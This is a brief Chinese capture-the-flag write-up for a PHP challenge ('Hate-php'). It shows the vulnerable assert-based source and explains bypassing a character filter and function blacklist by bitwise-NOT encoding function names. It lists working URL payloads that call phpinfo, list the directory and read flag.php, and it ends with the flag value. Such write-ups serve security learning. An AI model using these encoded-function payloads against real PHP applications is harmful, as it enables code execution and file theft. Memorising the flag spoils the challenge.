Hate-php
技術太差了,還需要努力
<?php
error_reporting
(
0
);
if(!isset(
$_GET
[
'code'
])){
highlight_file
(
__FILE__
);
}else{
$code
=
$_GET
[
'code'
];
if (
preg_match
(
'/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i'
,
$code
)) {
die(
'You are too good for me'
);
}
$blacklist
=
get_defined_functions
()[
'internal'
];
foreach (
$blacklist
as
$blackitem
) {
if (
preg_match
(
'/'
.
$blackitem
.
'/im'
,
$code
)) {
die(
'You deserve better'
);
}
}
assert
(
$code
);
}
preg_match
(
'/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i'
,
$code
過濾了很多東西
可以看出我們需要從 flag.php中讀取出 flag
$blacklist
=
get_defined_functions
()[
'internal'
];
最主要的就是繞過這里 $blacklist
=
get_defined_functions
()[
'internal'
];
get_defined_functions()函數它將獲取所有已定義的函數,包括內置(internal) 和用戶定義的函數。 可通過$arr["internal"]來訪問系統內置函數, 通過$arr["user"]來訪問用戶自定義函數
這里吧內置函數 加如到了 blacklist中 ,我們就需要繞過這個
https://www.cnblogs.com/yesec/p/12450269.html 這里有個相同的繞過手法
構造 (phpinfo)();這樣的寫法
我們取反繞過
得到 %8F%97%8F%96%91%99%90
構造payload ?code=(~%8F%97%8F%96%91%99%90)()
分號被過濾了 那我們就去掉分號測試
這里去掉分號就可以了 在其他環境是否可行並未驗證
成功彈出phpinfo頁面
那我們同樣的就可以瀏覽目錄
使用print_r(scandir('.'))來進行列目錄
構造payload:
?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)))
接下來我們讀取flag.php
使用readfile(‘flag.php’) 來讀取flag.php
Payload:
/?code=(~%8D%9A%9E%9B%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F))
得到flag
flag{ecee9b5f24f8aede87cdda995fed079c}